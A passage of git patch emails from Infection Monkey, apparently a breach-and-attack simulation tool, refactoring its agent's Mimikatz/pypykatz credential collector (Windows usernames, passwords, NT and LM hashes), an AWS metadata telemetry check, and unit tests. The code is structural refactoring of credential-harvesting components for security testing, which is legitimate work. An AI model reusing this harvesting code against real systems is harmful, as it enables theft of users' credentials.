b/monkey/infection_monkey/credential_collectors/credential_components/username.py index 348a6df47..4ccf0ddea 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/username.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -1,8 +1,7 @@ from ..credential_types import CredentialTypes - from .i_credential_component import ICredentialComponent class Username(ICredentialComponent): - def __init__(self, content: dict): - super().__init__(type=CredentialTypes.USERNAME, content=content) + def __init__(self, username: str): + super().__init__(type=CredentialTypes.USERNAME, content={"username": username}) diff --git a/monkey/infection_monkey/credential_collectors/credential_types.py b/monkey/infection_monkey/credential_collectors/credential_types.py index 01b83797e..2354664a1 100644 --- a/monkey/infection_monkey/credential_collectors/credential_types.py +++ b/monkey/infection_monkey/credential_collectors/credential_types.py @@ -2,7 +2,7 @@ from enum import Enum class CredentialTypes(Enum): - KEYPAIR = 1 + SSH_KEYPAIR = 1 USERNAME = 2 PASSWORD = 3 NTLM_HASH = 4 diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py index ab44d85ea..ff31667cf 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py @@ -1,25 +1,38 @@ from typing import List +from infection_monkey.credential_collectors import ( + Credentials, + ICredentialCollector, + NTHashes, + Password, + Username, +) from infection_monkey.system_info.windows_cred_collector import pypykatz_handler from infection_monkey.system_info.windows_cred_collector.windows_credentials import ( WindowsCredentials, ) -class MimikatzCredentialCollector(object): - @staticmethod - def get_creds(): +class MimikatzCredentialCollector(ICredentialCollector): + def collect_credentials(self) -> Credentials: creds = pypykatz_handler.get_windows_creds() - return MimikatzCredentialCollector.cred_list_to_cred_dict(creds) + return MimikatzCredentialCollector.to_credentials(creds) @staticmethod - def cred_list_to_cred_dict(creds: List[WindowsCredentials]): - cred_dict = {} - for cred in creds: - # TODO: This should be handled by the island, not the agent. There is already similar - # code in monkey_island/cc/models/report/report_dal.py. - # Lets not use "." and "$" in keys, because it will confuse mongo. - # Ideally we should refactor island not to use a dict and simply parse credential list. - key = cred.username.replace(".", ",").replace("$", "") - cred_dict.update({key: cred.to_dict()}) - return cred_dict + def to_credentials(win_creds: List[WindowsCredentials]) -> Credentials: + creds_obj = Credentials(identities=[], secrets=[]) + for win_cred in win_creds: + + if win_cred.username: + identity = Username(win_cred.username) + creds_obj.identities.append(identity) + + if win_cred.password: + password = Password(win_cred.password) + creds_obj.secrets.append(password) + + if win_cred.lm_hash or win_cred.ntlm_hash: + hashes = NTHashes(ntlm_hash=win_cred.ntlm_hash, lm_hash=win_cred.lm_hash) + creds_obj.secrets.append(hashes) + + return creds_obj From ae13953f520f954eae66b728854896fa500d0ade Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 14 Feb 2022 11:21:34 +0100 Subject: [PATCH 0380/1110] Agent: Run AWS Environment check in a thread * Use Telemetry Messenger to send AWS telemetry * Send only instance_id to AWS Instance Telemetry * Rename AwsInstanceTelemetry to AWSInstanceTelemetry --- monkey/common/cloud/aws/aws_instance.py | 11 ++++++++--- monkey/infection_monkey/monkey.py | 7 ++++--- .../telemetry/aws_instance_telem.py | 9 ++++----- .../utils/aws_environment_check.py | 18 +++++++++++++++--- 4 files changed, 31 insertions(+), 14 deletions(-) diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index 4bdc89bf3..76f4ab258 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -12,6 +12,8 @@ ACCOUNT_ID_KEY = "accountId" logger = logging.getLogger(__name__) +AWS_TIMEOUT = 2 + class AwsInstance(CloudInstance): """ @@ -28,12 +30,14 @@ class AwsInstance(CloudInstance): try: response = requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2 + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", + timeout=AWS_TIMEOUT, ) self.instance_id = response.text if response else None self.region = self._parse_region( requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone" + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone", + timeout=AWS_TIMEOUT, ).text ) except (requests.RequestException, IOError) as e: @@ -42,7 +46,8 @@ class AwsInstance(CloudInstance): try: self.account_id = self._extract_account_id( requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", timeout=2 + AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", + timeout=AWS_TIMEOUT, ).text ) except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e: diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index b4a8a8566..c0b5d17b3 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -34,7 +34,7 @@ from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter im ) from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem -from infection_monkey.utils.aws_environment_check import report_aws_environment +from infection_monkey.utils.aws_environment_check import run_aws_environment_check from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_log_path import get_monkey_log_path @@ -53,6 +53,7 @@ class InfectionMonkey: self._default_server = self._opts.server # TODO used in propogation phase self._monkey_inbound_tunnel = None + self.telemetry_messenger = LegacyTelemetryMessengerAdapter() @staticmethod def _get_arguments(args): @@ -86,7 +87,7 @@ class InfectionMonkey: if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() - report_aws_environment() + run_aws_environment_check(self.telemetry_messenger) should_stop = ControlChannel(WormConfiguration.current_server, GUID).should_agent_stop() if should_stop: @@ -174,7 +175,7 @@ class InfectionMonkey: self._master = AutomatedMaster( puppet, - LegacyTelemetryMessengerAdapter(), + self.telemetry_messenger, victim_host_factory, ControlChannel(self._default_server, GUID), local_network_interfaces, diff --git a/monkey/infection_monkey/telemetry/aws_instance_telem.py b/monkey/infection_monkey/telemetry/aws_instance_telem.py index d421d6d00..d2469b971 100644 --- a/monkey/infection_monkey/telemetry/aws_instance_telem.py +++ b/monkey/infection_monkey/telemetry/aws_instance_telem.py @@ -2,13 +2,12 @@ from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem -class AwsInstanceTelemetry(BaseTelem): - def __init__(self, aws_instance_info): +class AWSInstanceTelemetry(BaseTelem): + def __init__(self, aws_instance_id: str): """ Default AWS instance telemetry constructor - :param aws_instance_info: Aws Instance info """ - self.aws_instance_info = aws_instance_info + self.aws_instance_info = {"instance_id": aws_instance_id} telem_category = TelemCategoryEnum.AWS_INFO @@ -16,4 +15,4 @@ class AwsInstanceTelemetry(BaseTelem): return self.aws_instance_info def send(self, log_data=False): - super(AwsInstanceTelemetry, self).send(log_data) + super(AWSInstanceTelemetry, self).send(log_data) diff --git a/monkey/infection_monkey/utils/aws_environment_check.py b/monkey/infection_monkey/utils/aws_environment_check.py index 03ee5a579..31ff40186 100644 --- a/monkey/infection_monkey/utils/aws_environment_check.py +++ b/monkey/infection_monkey/utils/aws_environment_check.py @@ -1,7 +1,11 @@ import logging from common.cloud.aws.aws_instance import AwsInstance -from infection_monkey.telemetry.aws_instance_telem import AwsInstanceTelemetry +from infection_monkey.telemetry.aws_instance_telem import AWSInstanceTelemetry +from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( + LegacyTelemetryMessengerAdapter, +) +from infection_monkey.utils.threading import create_daemon_thread logger = logging.getLogger(__name__) @@ -10,13 +14,21 @@ def _running_on_aws(aws_instance: AwsInstance) -> bool: return aws_instance.is_instance() -def report_aws_environment(): +def _report_aws_environment(telemetry_messenger: LegacyTelemetryMessengerAdapter): logger.info("Collecting AWS info") aws_instance = AwsInstance() if _running_on_aws(aws_instance): logger.info("Machine is an AWS instance") - AwsInstanceTelemetry({"instance_id": aws_instance.get_instance_id()}).send() + telemetry_messenger.send_telemetry(AWSInstanceTelemetry(aws_instance.get_instance_id())) else: logger.info("Machine is NOT an AWS instance") + + +def run_aws_environment_check(telemetry_messenger: LegacyTelemetryMessengerAdapter): + logger.info("AWS environment check initiated.") + aws_environment_thread = create_daemon_thread( + target=_report_aws_environment, args=(telemetry_messenger,) + ) + aws_environment_thread.start() From 2ba793e0cf7472a5cf0990c8bf62b25b395d2977 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 14 Feb 2022 15:55:11 +0200 Subject: [PATCH 0381/1110] Agent: move mimikatz collector to credential collectors --- .../mimikatz_collector}/__init__.py | 0 .../mimikatz_collector}/mimikatz_cred_collector.py | 8 ++++---- .../mimikatz_collector}/pypykatz_handler.py | 4 +--- .../mimikatz_collector}/windows_credentials.py | 0 .../system_info/windows_info_collector.py | 2 +- .../windows_cred_collector/test_pypykatz_handler.py | 2 +- 6 files changed, 7 insertions(+), 9 deletions(-) rename monkey/infection_monkey/{system_info/windows_cred_collector => credential_collectors/mimikatz_collector}/__init__.py (100%) rename monkey/infection_monkey/{system_info/windows_cred_collector => credential_collectors/mimikatz_collector}/mimikatz_cred_collector.py (84%) rename monkey/infection_monkey/{system_info/windows_cred_collector => credential_collectors/mimikatz_collector}/pypykatz_handler.py (96%) rename monkey/infection_monkey/{system_info/windows_cred_collector => credential_collectors/mimikatz_collector}/windows_credentials.py (100%) diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/__init__.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/__init__.py similarity index 100% rename from monkey/infection_monkey/system_info/windows_cred_collector/__init__.py rename to monkey/infection_monkey/credential_collectors/mimikatz_collector/__init__.py diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py similarity index 84% rename from monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py rename to monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py index ff31667cf..7c58fbe12 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py @@ -1,5 +1,7 @@ from typing import List +import pypykatz_handler + from infection_monkey.credential_collectors import ( Credentials, ICredentialCollector, @@ -7,10 +9,8 @@ from infection_monkey.credential_collectors import ( Password, Username, ) -from infection_monkey.system_info.windows_cred_collector import pypykatz_handler -from infection_monkey.system_info.windows_cred_collector.windows_credentials import ( - WindowsCredentials, -) + +from .windows_credentials import WindowsCredentials class MimikatzCredentialCollector(ICredentialCollector): diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py similarity index 96% rename from monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py rename to monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py index 23bcce771..2b7ceec65 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py @@ -3,9 +3,7 @@ from typing import Any, Dict, List, NewType from pypykatz.pypykatz import pypykatz -from infection_monkey.system_info.windows_cred_collector.windows_credentials import ( - WindowsCredentials, -) +from .windows_credentials import WindowsCredentials CREDENTIAL_TYPES = [ "msv_creds", diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/windows_credentials.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/windows_credentials.py similarity index 100% rename from monkey/infection_monkey/system_info/windows_cred_collector/windows_credentials.py rename to monkey/infection_monkey/credential_collectors/mimikatz_collector/windows_credentials.py diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index f3242922e..6285fee0f 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -2,7 +2,7 @@ import logging import sys from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR -from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import ( +from infection_monkey.credential_collectors.windows_cred_collector.mimikatz_cred_collector import ( MimikatzCredentialCollector, ) diff --git a/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py index 4d3259e67..9bacb2070 100644 --- a/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py +++ b/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py @@ -1,6 +1,6 @@ from unittest import TestCase -from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import ( +from infection_monkey.credential_collectors.mimikatz_collector.pypykatz_handler import ( _get_creds_from_pypykatz_session, ) From 2f1b57a52622e19d3655f87315bc7309f60a8a31 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 14 Feb 2022 17:16:41 +0200 Subject: [PATCH 0382/1110] Agent: fix pypykatz import in mimikatz_cred_collector.py --- .../mimikatz_collector/mimikatz_cred_collector.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py index 7c58fbe12..46fb77d6e 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py @@ -1,7 +1,5 @@ from typing import List -import pypykatz_handler - from infection_monkey.credential_collectors import ( Credentials, ICredentialCollector, @@ -10,6 +8,7 @@ from infection_monkey.credential_collectors import ( Username, ) +from . import pypykatz_handler from .windows_credentials import WindowsCredentials From a6c2762823c5118a27f016f3ca3263fa914278c7 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 10:36:33 +0200 Subject: [PATCH 0383/1110] Agent: change mimikatz collector to return a list of credentials --- .../mimikatz_collector/mimikatz_cred_collector.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py index 46fb77d6e..534580145 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py @@ -13,15 +13,15 @@ from .windows_credentials import WindowsCredentials class MimikatzCredentialCollector(ICredentialCollector): - def collect_credentials(self) -> Credentials: + def collect_credentials(self) -> List[Credentials]: creds = pypykatz_handler.get_windows_creds() return MimikatzCredentialCollector.to_credentials(creds) @staticmethod - def to_credentials(win_creds: List[WindowsCredentials]) -> Credentials: - creds_obj = Credentials(identities=[], secrets=[]) + def to_credentials(win_creds: List[WindowsCredentials]) -> [Credentials]: + all_creds = [] for win_cred in win_creds: - + creds_obj = Credentials(identities=[], secrets=[]) if win_cred.username: identity = Username(win_cred.username) creds_obj.identities.append(identity) @@ -34,4 +34,7 @@ class MimikatzCredentialCollector(ICredentialCollector): hashes = NTHashes(ntlm_hash=win_cred.ntlm_hash, lm_hash=win_cred.lm_hash) creds_obj.secrets.append(hashes) - return creds_obj + if creds_obj.identities != [] or creds_obj.secrets != []: + all_creds.append(creds_obj) + + return all_creds From f5740b2a6ea47b7137594e12feb936dbe5640e57 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 10:37:13 +0200 Subject: [PATCH 0384/1110] Agent: add mimikatz collector unit tests --- .../test_mimikatz_collector.py | 56 +++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py new file mode 100644 index 000000000..5882315c4 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py @@ -0,0 +1,56 @@ +from infection_monkey.credential_collectors import Credentials, NTHashes, Password, Username +from infection_monkey.credential_collectors.mimikatz_collector.mimikatz_cred_collector import ( + MimikatzCredentialCollector, +) +from infection_monkey.credential_collectors.mimikatz_collector.windows_credentials import ( + WindowsCredentials, +) + + +def patch_pypykatz(win_creds: [WindowsCredentials], monkeypatch): + monkeypatch.setattr( + "infection_monkey.credential_collectors" + ".mimikatz_collector.pypykatz_handler.get_windows_creds", + lambda: win_creds, + ) + + +def test_empty_results(monkeypatch): + win_creds = [WindowsCredentials(username="", password="", ntlm_hash="", lm_hash="")] + patch_pypykatz(win_creds, monkeypatch) + expected = [] + collected = MimikatzCredentialCollector().collect_credentials() + assert expected == collected + + patch_pypykatz([], monkeypatch) + collected = MimikatzCredentialCollector().collect_credentials() + assert [] == collected + + +def test_pypykatz_result_parsing(monkeypatch): + win_creds = [ + WindowsCredentials(username="user", password="secret", ntlm_hash="", lm_hash=""), + WindowsCredentials(username="", password="", ntlm_hash="ntlm_hash", lm_hash="lm_hash"), + WindowsCredentials(username="user", password="secret", ntlm_hash="", lm_hash=""), + WindowsCredentials( + username="user2", password="secret2", ntlm_hash="ntlm_hash2", lm_hash="lm_hash2" + ), + ] + patch_pypykatz(win_creds, monkeypatch) + + # Expected credentials + username = Username("user") + username2 = Username("user2") + password = Password("secret") + password2 = Password("secret2") + hash = NTHashes(ntlm_hash="ntlm_hash", lm_hash="lm_hash") + hash2 = NTHashes(ntlm_hash="ntlm_hash2", lm_hash="lm_hash2") + + expected = [ + Credentials(identities=[username], secrets=[password]), + Credentials(identities=[], secrets=[hash]), + Credentials(identities=[username], secrets=[password]), + Credentials(identities=[username2], secrets=[password2, hash2]), + ] + collected = MimikatzCredentialCollector().collect_credentials() + assert expected == collected From 02cdebb88b1f0d5e6b353344f14ddaf08844dd39 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 12:41:19 +0200 Subject: [PATCH 0385/1110] Agent: fix ICredentialCollector return type-hint --- .../credential_collectors/i_credential_collector.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/credential_collectors/i_credential_collector.py b/monkey/infection_monkey/credential_collectors/i_credential_collector.py index 79ef9cf8a..15798cf06 100644 --- a/monkey/infection_monkey/credential_collectors/i_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/i_credential_collector.py @@ -1,9 +1,10 @@ from abc import ABC, abstractmethod +from typing import List from .credentials import Credentials class ICredentialCollector(ABC): @abstractmethod - def collect_credentials(self) -> Credentials: + def collect_credentials(self) -> List[Credentials]: pass From 9037dfdf992a3513f8cea36bd3c151dd575ff11f Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 12:42:36 +0200 Subject: [PATCH 0386/1110] Agent: rename CredentialTypes enum to CredentialType --- .../credential_components/i_credential_component.py | 4 ++-- .../credential_collectors/credential_components/password.py | 4 ++-- .../credential_components/ssh_keypair.py | 4 ++-- .../credential_collectors/credential_components/username.py | 4 ++-- .../{credential_types.py => credential_type.py} | 2 +- 5 files changed, 9 insertions(+), 9 deletions(-) rename monkey/infection_monkey/credential_collectors/{credential_types.py => credential_type.py} (76%) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py b/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py index 566d3ed05..43ebb9aca 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py @@ -1,10 +1,10 @@ from abc import ABC from dataclasses import dataclass -from ..credential_types import CredentialTypes +from ..credential_type import CredentialType @dataclass class ICredentialComponent(ABC): - type: CredentialTypes + type: CredentialType content: dict diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py index 3691ee69a..87abe1575 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/password.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -1,7 +1,7 @@ -from ..credential_types import CredentialTypes +from ..credential_type import CredentialType from .i_credential_component import ICredentialComponent class Password(ICredentialComponent): def __init__(self, password: str): - super().__init__(type=CredentialTypes.PASSWORD, content={"password": password}) + super().__init__(type=CredentialType.PASSWORD, content={"password": password}) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py index 09d0d2f01..040256ee0 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -1,7 +1,7 @@ -from ..credential_types import CredentialTypes +from ..credential_type import CredentialType from .i_credential_component import ICredentialComponent class SSHKeypair(ICredentialComponent): def __init__(self, content: dict): - super().__init__(type=CredentialTypes.SSH_KEYPAIR, content=content) + super().__init__(type=CredentialType.SSH_KEYPAIR, content=content) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py index 4ccf0ddea..98c7b0b3d 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/username.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -1,7 +1,7 @@ -from ..credential_types import CredentialTypes +from ..credential_type import CredentialType from .i_credential_component import ICredentialComponent class Username(ICredentialComponent): def __init__(self, username: str): - super().__init__(type=CredentialTypes.USERNAME, content={"username": username}) + super().__init__(type=CredentialType.USERNAME, content={"username": username}) diff --git a/monkey/infection_monkey/credential_collectors/credential_types.py b/monkey/infection_monkey/credential_collectors/credential_type.py similarity index 76% rename from monkey/infection_monkey/credential_collectors/credential_types.py rename to monkey/infection_monkey/credential_collectors/credential_type.py index 2354664a1..5e8a9e6ea 100644 --- a/monkey/infection_monkey/credential_collectors/credential_types.py +++ b/monkey/infection_monkey/credential_collectors/credential_type.py @@ -1,7 +1,7 @@ from enum import Enum -class CredentialTypes(Enum): +class CredentialType(Enum): SSH_KEYPAIR = 1 USERNAME = 2 PASSWORD = 3 From b7003bc231b4a5382db3b9b01393adf1700d2aa8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 12:43:37 +0200 Subject: [PATCH 0387/1110] Agent: split up nt and lm hashes into separate credential components --- .../credential_collectors/__init__.py | 3 ++- .../credential_components/lm_hash.py | 7 +++++++ .../credential_components/nt_hash.py | 7 +++++++ .../credential_components/nt_hashes.py | 9 --------- .../mimikatz_cred_collector.py | 17 +++++++++++------ .../test_mimikatz_collector.py | 14 ++++++-------- 6 files changed, 33 insertions(+), 24 deletions(-) create mode 100644 monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py create mode 100644 monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py delete mode 100644 monkey/infection_monkey/credential_collectors/credential_components/nt_hashes.py diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py index 4ec480246..7d48c7bb1 100644 --- a/monkey/infection_monkey/credential_collectors/__init__.py +++ b/monkey/infection_monkey/credential_collectors/__init__.py @@ -1,5 +1,6 @@ from .i_credential_collector import ICredentialCollector -from .credential_components.nt_hashes import NTHashes +from .credential_components.nt_hash import NTHash +from .credential_components.lm_hash import LMHash from .credential_components.password import Password from .credential_components.ssh_keypair import SSHKeypair from .credential_components.username import Username diff --git a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py new file mode 100644 index 000000000..d9557c9b0 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py @@ -0,0 +1,7 @@ +from ..credential_type import CredentialType +from .i_credential_component import ICredentialComponent + + +class LMHash(ICredentialComponent): + def __init__(self, lm_hash: str): + super().__init__(type=CredentialType.NTLM_HASH, content={"lm_hash": lm_hash}) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py new file mode 100644 index 000000000..ae412310e --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py @@ -0,0 +1,7 @@ +from ..credential_type import CredentialType +from .i_credential_component import ICredentialComponent + + +class NTHash(ICredentialComponent): + def __init__(self, nt_hash: str): + super().__init__(type=CredentialType.NTLM_HASH, content={"nt_hash": nt_hash}) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hashes.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hashes.py deleted file mode 100644 index 13acd83f6..000000000 --- a/monkey/infection_monkey/credential_collectors/credential_components/nt_hashes.py +++ /dev/null @@ -1,9 +0,0 @@ -from ..credential_types import CredentialTypes -from .i_credential_component import ICredentialComponent - - -class NTHashes(ICredentialComponent): - def __init__(self, ntlm_hash: str, lm_hash: str): - super().__init__( - type=CredentialTypes.NTLM_HASH, content={"ntlm_hash": ntlm_hash, "lm_hash": lm_hash} - ) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py index 534580145..708bc7a32 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_cred_collector.py @@ -3,7 +3,8 @@ from typing import List from infection_monkey.credential_collectors import ( Credentials, ICredentialCollector, - NTHashes, + LMHash, + NTHash, Password, Username, ) @@ -15,10 +16,10 @@ from .windows_credentials import WindowsCredentials class MimikatzCredentialCollector(ICredentialCollector): def collect_credentials(self) -> List[Credentials]: creds = pypykatz_handler.get_windows_creds() - return MimikatzCredentialCollector.to_credentials(creds) + return MimikatzCredentialCollector._to_credentials(creds) @staticmethod - def to_credentials(win_creds: List[WindowsCredentials]) -> [Credentials]: + def _to_credentials(win_creds: List[WindowsCredentials]) -> [Credentials]: all_creds = [] for win_cred in win_creds: creds_obj = Credentials(identities=[], secrets=[]) @@ -30,9 +31,13 @@ class MimikatzCredentialCollector(ICredentialCollector): password = Password(win_cred.password) creds_obj.secrets.append(password) - if win_cred.lm_hash or win_cred.ntlm_hash: - hashes = NTHashes(ntlm_hash=win_cred.ntlm_hash, lm_hash=win_cred.lm_hash) - creds_obj.secrets.append(hashes) + if win_cred.lm_hash: + lm_hash = LMHash(lm_hash=win_cred.lm_hash) + creds_obj.secrets.append(lm_hash) + + if win_cred.ntlm_hash: + lm_hash = NTHash(nt_hash=win_cred.ntlm_hash) + creds_obj.secrets.append(lm_hash) if creds_obj.identities != [] or creds_obj.secrets != []: all_creds.append(creds_obj) diff --git a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py index 5882315c4..0bf0c3628 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_collectors/mimikatz_collector/test_mimikatz_collector.py @@ -1,4 +1,4 @@ -from infection_monkey.credential_collectors import Credentials, NTHashes, Password, Username +from infection_monkey.credential_collectors import Credentials, LMHash, NTHash, Password, Username from infection_monkey.credential_collectors.mimikatz_collector.mimikatz_cred_collector import ( MimikatzCredentialCollector, ) @@ -32,9 +32,7 @@ def test_pypykatz_result_parsing(monkeypatch): WindowsCredentials(username="user", password="secret", ntlm_hash="", lm_hash=""), WindowsCredentials(username="", password="", ntlm_hash="ntlm_hash", lm_hash="lm_hash"), WindowsCredentials(username="user", password="secret", ntlm_hash="", lm_hash=""), - WindowsCredentials( - username="user2", password="secret2", ntlm_hash="ntlm_hash2", lm_hash="lm_hash2" - ), + WindowsCredentials(username="user2", password="secret2", lm_hash="lm_hash"), ] patch_pypykatz(win_creds, monkeypatch) @@ -43,14 +41,14 @@ def test_pypykatz_result_parsing(monkeypatch): username2 = Username("user2") password = Password("secret") password2 = Password("secret2") - hash = NTHashes(ntlm_hash="ntlm_hash", lm_hash="lm_hash") - hash2 = NTHashes(ntlm_hash="ntlm_hash2", lm_hash="lm_hash2") + nt_hash = NTHash(nt_hash="ntlm_hash") + lm_hash = LMHash(lm_hash="lm_hash") expected = [ Credentials(identities=[username], secrets=[password]), - Credentials(identities=[], secrets=[hash]), + Credentials(identities=[], secrets=[lm_hash, nt_hash]), Credentials(identities=[username], secrets=[password]), - Credentials(identities=[username2], secrets=[password2, hash2]), + Credentials(identities=[username2], secrets=[password2, lm_hash]), ] collected = MimikatzCredentialCollector().collect_credentials() assert expected == collected From 0fae933477c29ce505727c0a898b8aa0bc5be037 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Feb 2022 14:46:21 +0200 Subject: [PATCH 0388/1110] Agent: refactor content dict out of credential component Content dict serves no purpose, because dataclasses can be serialized without explicit conversion to dict --- .../credential_components/i_credential_component.py | 1 - .../credential_collectors/credential_components/lm_hash.py | 3 ++- 